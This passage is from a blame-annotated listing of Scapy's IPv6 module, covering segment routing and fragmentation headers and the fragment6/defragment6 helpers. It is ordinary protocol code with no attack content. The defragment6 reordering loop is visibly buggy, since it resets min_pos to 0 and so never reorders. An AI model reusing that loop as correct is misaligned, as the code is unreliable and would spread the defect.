940c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                 length_from = lambda pkt: 8*pkt.len)]
941c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 43 }}
942c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
943c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def post_build(self, pkt, pay):
944c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.segleft is None:
945c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            pkt = pkt[:3]+struct.pack("B", len(self.addresses))+pkt[4:]
946c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return _IPv6ExtHdr.post_build(self, pkt, pay)
947c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
94835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
949f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain######################### Segment Routing Header ############################
950f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
95135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon# This implementation is based on draft 06, available at:
95235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon# https://tools.ietf.org/html/draft-ietf-6man-segment-routing-header-06
95335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
95435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadonclass IPv6ExtHdrSegmentRoutingTLV(Packet):
95535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    name = "IPv6 Option Header Segment Routing - Generic TLV"
95635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    fields_desc = [ ByteField("type", 0),
95735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("len", 0),
95835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("reserved", 0),
95935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("flags", 0),
96035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    StrLenField("value", "", length_from=lambda pkt: pkt.len) ]
96135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
96235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    def extract_padding(self, p):
96335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        return "",p
96435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
96535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    registered_sr_tlv = {}
96635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    @classmethod
96735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    def register_variant(cls):
96835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        cls.registered_sr_tlv[cls.type.default] = cls
96935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
97035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    @classmethod
97135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    def dispatch_hook(cls, pkt=None, *args, **kargs):
97235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        if pkt:
97335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            tmp_type = ord(pkt[0])
97435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            return cls.registered_sr_tlv.get(tmp_type, cls)
97535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        return cls
97635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
97735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
97835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadonclass IPv6ExtHdrSegmentRoutingTLVIngressNode(IPv6ExtHdrSegmentRoutingTLV):
97935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    name = "IPv6 Option Header Segment Routing - Ingress Node TLV"
98035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    fields_desc = [ ByteField("type", 1),
98135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("len", 18),
98235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("reserved", 0),
98335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("flags", 0),
98435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    IP6Field("ingress_node", "::1") ]
98535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
98635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
98735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadonclass IPv6ExtHdrSegmentRoutingTLVEgressNode(IPv6ExtHdrSegmentRoutingTLV):
98835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    name = "IPv6 Option Header Segment Routing - Egress Node TLV"
98935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    fields_desc = [ ByteField("type", 2),
99035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("len", 18),
99135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("reserved", 0),
99235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("flags", 0),
99335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    IP6Field("egress_node", "::1") ]
99435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
99535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
99635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadonclass IPv6ExtHdrSegmentRoutingTLVPadding(IPv6ExtHdrSegmentRoutingTLV):
99735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    name = "IPv6 Option Header Segment Routing - Padding TLV"
99835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    fields_desc = [ ByteField("type", 4),
99935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    FieldLenField("len", None, length_of="padding", fmt="B"),
10002a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrLenField("padding", b"\x00", length_from=lambda pkt: pkt.len) ]
100135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
100235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
1003f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutainclass IPv6ExtHdrSegmentRouting(_IPv6ExtHdr):
1004f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain    name = "IPv6 Option Header Segment Routing"
1005f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
100635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("len", None),
1007f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                    ByteField("type", 4),
100835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("segleft", None),
100935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("lastentry", None),
101035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    BitField("unused1", 0, 1),
1011f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                    BitField("protected", 0, 1),
1012f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                    BitField("oam", 0, 1),
1013f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                    BitField("alert", 0, 1),
1014f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                    BitField("hmac", 0, 1),
101535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    BitField("unused2", 0, 3),
101635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ShortField("tag", 0),
101735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    IP6ListField("addresses", ["::1"],
101835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                        count_from=lambda pkt: pkt.lastentry),
101935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    PacketListField("tlv_objects", [], IPv6ExtHdrSegmentRoutingTLV,
102035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                        length_from=lambda pkt: 8*pkt.len - 16*pkt.lastentry) ]
102135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
102235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    overload_fields = { IPv6: { "nh": 43 } }
1023f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
1024f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain    def post_build(self, pkt, pay):
1025f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
102635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        if self.len is None:
102735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
102835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            # The extension must be align on 8 bytes
102935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            tmp_mod = (len(pkt) - 8) % 8
103035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            if tmp_mod == 1:
103135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                warning("IPv6ExtHdrSegmentRouting(): can't pad 1 byte !")
103235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            elif tmp_mod >= 2:
103335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                #Add the padding extension
10342a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                tmp_pad = b"\x00" * (tmp_mod-2)
103535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                tlv = IPv6ExtHdrSegmentRoutingTLVPadding(padding=tmp_pad)
103635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                pkt += str(tlv)
103735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
103835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            tmp_len = (len(pkt) - 8) / 8
103935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            pkt = pkt[:1] + struct.pack("B", tmp_len)+ pkt[2:]
104035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
104135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        if self.segleft is None:
104235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            tmp_len = len(self.addresses)
104335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            if tmp_len:
104435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                tmp_len -= 1
104535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            pkt = pkt[:3] + struct.pack("B", tmp_len) + pkt[4:]
104635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
104735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        if self.lastentry is None:
104835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            pkt = pkt[:4] + struct.pack("B", len(self.addresses)) + pkt[5:]
104935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
105035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        return _IPv6ExtHdr.post_build(self, pkt, pay)
1051f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
1052f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
1053c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil########################### Fragmentation Header ############################
1054c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
10550d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass IPv6ExtHdrFragment(_IPv6ExtHdr):
1056c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Extension Header - Fragmentation header"
1057c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
1058c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("res1", 0, 8),
105977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("offset", 0, 13),
106077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("res2", 0, 2),
106177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("m", 0, 1),
106277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    IntField("id", None) ]
1063c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 44 }}
1064c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1065c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1066c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef defragment6(pktlist):
1067c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
1068c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Performs defragmentation of a list of IPv6 packets. Packets are reordered.
1069c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Crap is dropped. What lacks is completed by 'X' characters.
1070c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
10710d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1072c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    l = filter(lambda x: IPv6ExtHdrFragment in x, pktlist) # remove non fragments
1073c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if not l:
1074c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return []
1075c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
10760d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    id = l[0][IPv6ExtHdrFragment].id
1077c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1078c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    llen = len(l)
1079c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    l = filter(lambda x: x[IPv6ExtHdrFragment].id == id, l)
1080c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if len(l) != llen:
1081c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        warning("defragment6: some fragmented packets have been removed from list")
1082c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    llen = len(l)
1083c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
10840d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    # reorder fragments
10850d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    i = 0
1086c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    res = []
1087c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    while l:
1088c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        min_pos = 0
1089c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        min_offset  = l[0][IPv6ExtHdrFragment].offset
1090c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        for p in l:
1091c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cur_offset = p[IPv6ExtHdrFragment].offset
1092c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if cur_offset < min_offset:
1093c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                min_pos = 0
1094c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                min_offset  = cur_offset
1095c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        res.append(l[min_pos])
1096c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        del(l[min_pos])
1097c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1098c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # regenerate the fragmentable part
1099c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragmentable = ""
1100c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    for p in res:
1101c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        q=p[IPv6ExtHdrFragment]
1102c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        offset = 8*q.offset
1103c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if offset != len(fragmentable):
1104c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            warning("Expected an offset of %d. Found %d. Padding with XXXX" % (len(fragmentable), offset))
1105c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        fragmentable += "X"*(offset - len(fragmentable))
1106c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        fragmentable += str(q.payload)
1107c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1108c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Regenerate the unfragmentable part.
1109c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    q = res[0]
1110c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    nh = q[IPv6ExtHdrFragment].nh
1111c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    q[IPv6ExtHdrFragment].underlayer.nh = nh
111209e12802fc2694f5de2870b600c2abe732705366Pierre LALET    del q[IPv6ExtHdrFragment].underlayer.payload
11137b3e970663abd72697e17b70aba9943ae0dad404Phil    q /= conf.raw_layer(load=fragmentable)
11140d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1115c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return IPv6(str(q))
1116c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1117c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1118c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef fragment6(pkt, fragSize):
1119c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
11200d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    Performs fragmentation of an IPv6 packet. Provided packet ('pkt') must already
1121c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    contain an IPv6ExtHdrFragment() class. 'fragSize' argument is the expected
1122c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    maximum size of fragments (MTU). The list of packets is returned.
1123c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1124c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    If packet does not contain an IPv6ExtHdrFragment class, it is returned in
1125c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    result list.
1126c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
1127c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1128c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    pkt = pkt.copy()
1129c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1130c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if not IPv6ExtHdrFragment in pkt:
1131c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # TODO : automatically add a fragment before upper Layer
1132c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        #        at the moment, we do nothing and return initial packet
1133c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        #        as single element of a list
1134c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return [pkt]
1135c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
113695776ce795664e3f0703cf245792dc6e9d8d6ca6Guillaume Valadon    # If the payload is bigger than 65535, a Jumbo payload must be used, as
11370d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    # an IPv6 packet can't be bigger than 65535 bytes.
1138d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon    if len(str(pkt[IPv6ExtHdrFragment])) > 65535:
113995776ce795664e3f0703cf245792dc6e9d8d6ca6Guillaume Valadon      warning("An IPv6 packet can'be bigger than 65535, please use a Jumbo payload.")
114095776ce795664e3f0703cf245792dc6e9d8d6ca6Guillaume Valadon      return []
11410d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1142d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon    s = str(pkt) # for instantiation to get upper layer checksum right
1143d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon
1144d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon    if len(s) <= fragSize:
1145d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon        return [pkt]
1146d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon
1147c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Fragmentable part : fake IPv6 for Fragmentable part length computation
1148c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragPart = pkt[IPv6ExtHdrFragment].payload
1149c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    tmp = str(IPv6(src="::1", dst="::1")/fragPart)
1150c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragPartLen = len(tmp) - 40  # basic IPv6 header length
1151c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragPartStr = s[-fragPartLen:]
1152c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1153c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Grab Next Header for use in Fragment Header
1154259efa6175979052b26bd8d6028461a0bc23b005Mostafa Razavi    nh = pkt[IPv6ExtHdrFragment].nh
1155c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1156c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Keep fragment header
1157c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragHeader = pkt[IPv6ExtHdrFragment]
115809e12802fc2694f5de2870b600c2abe732705366Pierre LALET    del fragHeader.payload # detach payload
1159c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1160c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Unfragmentable Part
1161c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    unfragPartLen = len(s) - fragPartLen - 8
1162c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    unfragPart = pkt
116309e12802fc2694f5de2870b600c2abe732705366Pierre LALET    del pkt[IPv6ExtHdrFragment].underlayer.payload # detach payload
1164c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
11650d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    # Cut the fragmentable part to fit fragSize. Inner fragments have
1166c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # a length that is an integer multiple of 8 octets. last Frag MTU
1167c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # can be anything below MTU
1168c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    lastFragSize = fragSize - unfragPartLen - 8
1169c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    innerFragSize = lastFragSize - (lastFragSize % 8)
11700d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1171c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if lastFragSize <= 0 or innerFragSize == 0:
11720d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        warning("Provided fragment size value is too low. " +
1173c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                "Should be more than %d" % (unfragPartLen + 8))
1174c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return [unfragPart/fragHeader/fragPart]
1175c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1176c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    remain = fragPartStr
1177c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    res = []
1178c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragOffset = 0     # offset, incremeted during creation
1179c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragId = random.randint(0,0xffffffff) # random id ...
1180c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if fragHeader.id is not None:  # ... except id provided by user
1181c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        fragId = fragHeader.id
1182c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragHeader.m = 1
1183c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragHeader.id = fragId
1184c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragHeader.nh = nh
1185c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1186c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Main loop : cut, fit to FRAGSIZEs, fragOffset, Id ...
1187c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    while True:
1188c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if (len(remain) > lastFragSize):
11890d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            tmp = remain[:innerFragSize]
1190c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            remain = remain[innerFragSize:]
1191c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            fragHeader.offset = fragOffset    # update offset
1192c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            fragOffset += (innerFragSize / 8)  # compute new one
11930d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            if IPv6 in unfragPart:
1194c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                unfragPart[IPv6].plen = None
11957b3e970663abd72697e17b70aba9943ae0dad404Phil            tempo = unfragPart/fragHeader/conf.raw_layer(load=tmp)
1196c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res.append(tempo)
1197c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
1198c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            fragHeader.offset = fragOffset    # update offSet
1199c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            fragHeader.m = 0
1200c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if IPv6 in unfragPart:
1201c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                unfragPart[IPv6].plen = None
12027b3e970663abd72697e17b70aba9943ae0dad404Phil            tempo = unfragPart/fragHeader/conf.raw_layer(load=remain)
1203c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res.append(tempo)
1204c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            break
1205c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return res
1206c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1207c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1208c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################### AH Header ###################################
1209c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1210c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# class _AHFieldLenField(FieldLenField):
1211c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     def getfield(self, pkt, s):
1212c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         l = getattr(pkt, self.fld)
1213c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         l = (l*8)-self.shift
1214c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         i = self.m2i(pkt, s[:l])
12150d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#         return s[l:],i
1216c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1217c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# class _AHICVStrLenField(StrLenField):
1218c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     def i2len(self, pkt, x):
12190d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1220c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1221c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1222c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# class IPv6ExtHdrAH(_IPv6ExtHdr):
1223c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     name = "IPv6 Extension Header - AH"
1224c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
1225c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     _AHFieldLenField("len", None, "icv"),
1226c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     ShortField("res", 0),
1227c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     IntField("spi", 0),
1228c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     IntField("sn", 0),
1229c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     _AHICVStrLenField("icv", None, "len", shift=2) ]
1230c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     overload_fields = {IPv6: { "nh": 51 }}
1231c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1232c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     def post_build(self, pkt, pay):
1233c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         if self.len is None:
1234c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#             pkt = pkt[0]+struct.pack("!B", 2*len(self.addresses))+pkt[2:]
1235c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         if self.segleft is None:
1236c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#             pkt = pkt[:3]+struct.pack("!B", len(self.addresses))+pkt[4:]
1237c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         return _IPv6ExtHdr.post_build(self, pkt, pay)
1238c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
